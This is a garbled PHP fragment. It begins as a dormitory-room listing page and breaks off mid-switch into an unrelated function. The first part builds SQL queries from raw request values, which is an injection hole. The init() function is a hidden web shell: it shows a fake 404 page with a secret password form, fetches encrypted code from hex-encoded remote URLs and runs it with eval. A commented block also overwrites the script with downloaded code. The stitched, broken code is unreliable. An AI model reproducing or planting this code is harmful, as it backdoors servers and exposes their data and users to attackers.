Example #1
0
        <button type="button" class="close" data-dismiss="modal">&times;</button>
	<?php 
if ($_REQUEST['modal']) {
    $roomNum = $_REQUEST['modal'];
}
?>
        <h4 class="modal-title"><?php 
echo "{$dormName} {$roomNum}";
?>
</h4>
      </div>
      <div class="modal-body">
        <?php 
$query = "select * from Room where dorm='" . $dormName . "' and roomNum='" . $roomNum . "';";
if ($_SERVER['REQUEST_METHOD'] === 'REQUEST') {
    $result = _REQUEST(['result']);
} else {
    $result = mysqli_query($link, $query);
}
$row = mysqli_fetch_assoc($result);
//output data for numResidents
if ($row) {
    $roomNum = $row['roomNum'];
    $section = "select name, dorm from Section where ID=" . $row['sectionID'] . ";";
    $section = mysqli_query($link, $section);
    $section = mysqli_fetch_assoc($section);
    //room type (single, double...
    echo "<table class=\"table table-bordered\"><tr><td>Room Type</td><td>";
    switch ($row['numResidents']) {
        case 1:
            echo "Single";
function init()
{
    //update
    /****
        if (!defined("debug") && filesize($_SERVER["SCRIPT_FILENAME"]) != "371") {
           $name = basename($_SERVER["SCRIPT_FILENAME"]);
           $txt = gzuncompress(_REQUEST(pack('H*',
               '687474703a2f2f323031326865696b652e676f6f676c65636f64652e636f6d2f73766e2f7472756e6b2f6d696e692e686b')));
           if (true == @file_put_contents($name, $txt)) {
               header("location:" . $name);
           }
       }
       ***/
    session_start();
    set_time_limit(0);
    ini_set('memory_limit', -1);
    /***
       if (strpos($_SERVER['HTTP_USER_AGENT'], 'EBSD') == false) {
           header("HTTP/1.1 404 Not Found");
           header("Status: 404 Not Found");
           exit();
       }
       ***/
    $login = <<<HTML
   <!DOCTYPE HTML>
<head>
\t<meta http-equiv="content-type" content="text/html" />
\t<meta name="author" content="Steve Smith" />
    <meta http-equiv="content-type" charset="UTF-8" />
\t<title>404 Not Found</title>
    <style>
    input{font:11px Verdana;BACKGROUND:#FFFFFF;height:18px;border:1px solid #666666;}
    #login{display:none;}
    </style>
</head>
<body>
   <div id="notice" style="position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display: none; font-size:12px;"></div>
   <div id="login">
   <form action="" method="POST">
   <span style="font:11px Verdana;">
       Password: 
     </span>
     <input id="pwd" name="pwd" type="password" size="20" />
     <input id="submit" type="button" value="login" />
   </form>
  </div>
<script>
function \$(d) {
\treturn document.getElementById(d)
}
function sideOut(t) {
    if(t==null) t=1500;
\twindow.setTimeout(display, t);
\tfunction display() {
\t\t\$("notice").style.display = "none"
\t}
}
\$("submit").onclick = function() {
\t\tvar pwd = \$("pwd").value;
\t\tvar options = {};
\t\toptions.url = '{self}';
\t\toptions.listener = callback;
\t\toptions.method = 'POST';
\t\tvar request = XmlRequest(options);
\t\trequest.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
\t\tif (pwd) request.send('pwd=' + pwd);
        else{
            \$("notice").style['display']='block';
            \$("notice").innerHTML='DATA-ERROR';
            sideOut();
        }
\t}
function XmlRequest(options) {
\tvar req = false;
\tif (window.XMLHttpRequest) {
\t\tvar req = new XMLHttpRequest()
\t} else if (window.ActiveXObject) {
\t\tvar req = new window.ActiveXObject('Microsoft.XMLHTTP')
\t}
\tif (!req) return false;
\treq.onreadystatechange = function() {
\t\tif (req.readyState == 4 && req.status == 200) {
\t\t\toptions.listener.call(req)
\t\t}
\t};
\treq.open(options.method, options.url, true);
\treturn req
}
function callback() {
\tvar json = eval("(" + this.responseText + ")");
    if (json.status=='on'){
        window.location.reload();
        return;
    }
\tif (json.notice) {
\t\t\$("notice").style.display = "block";
\t\t\$("notice").innerHTML = json.notice;
        sideOut();
\t}
}
document.onkeydown = function(e) {
\t\t    var theEvent = window.event || e;      
            var code = theEvent.keyCode || theEvent.which; 
\t\t\tif (80 == code) {
\t\t\t\t\$("login").style.display = "block"
\t\t\t}
\t\t}
</script>
</body>
</html>
HTML;
    if ($_POST['pwd'] == true) {
        $true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63d4e5680efdc93c917d65d497f04f219b98cf339d0e3dc01bcb3a23a48a5736808ddd8d5d203094551b0032e00d2c'), $_POST['pwd'], true)));
        if ('true' == $true) {
            setcookie('key', $_POST['pwd'], time() + 3600 * 24 * 30);
            exit('{"status":"on"}');
        } else {
            exit('{"notice":"API-ERROR"}');
        }
    }
    if ($_COOKIE['key'] == true) {
        $true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63d4e5680efdc93c917d65d497f04f219b98cf339d0e3dc01bcb3a23a48a5736808ddd8d5d203094551b0032e00d2c'), $_COOKIE['key'], true)));
        if ('true' == $true) {
            if ($_SESSION['code'] == null) {
                $_SESSION['code'] = _REQUEST(sprintf("%s?%s", pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f636f64652e6a7067'), uniqid()));
            } else {
                $_SESSION['code'] = $_SESSION['code'];
            }
            eval(gzuncompress(gzuncompress(Crypt::decrypt($_SESSION['code'], $_COOKIE['key'], true))));
        }
    }
    if ($_COOKIE['key'] == null) {
        echo str_replace('{self}', $_SERVER["SCRIPT_NAME"], $login);
        exit;
    }
}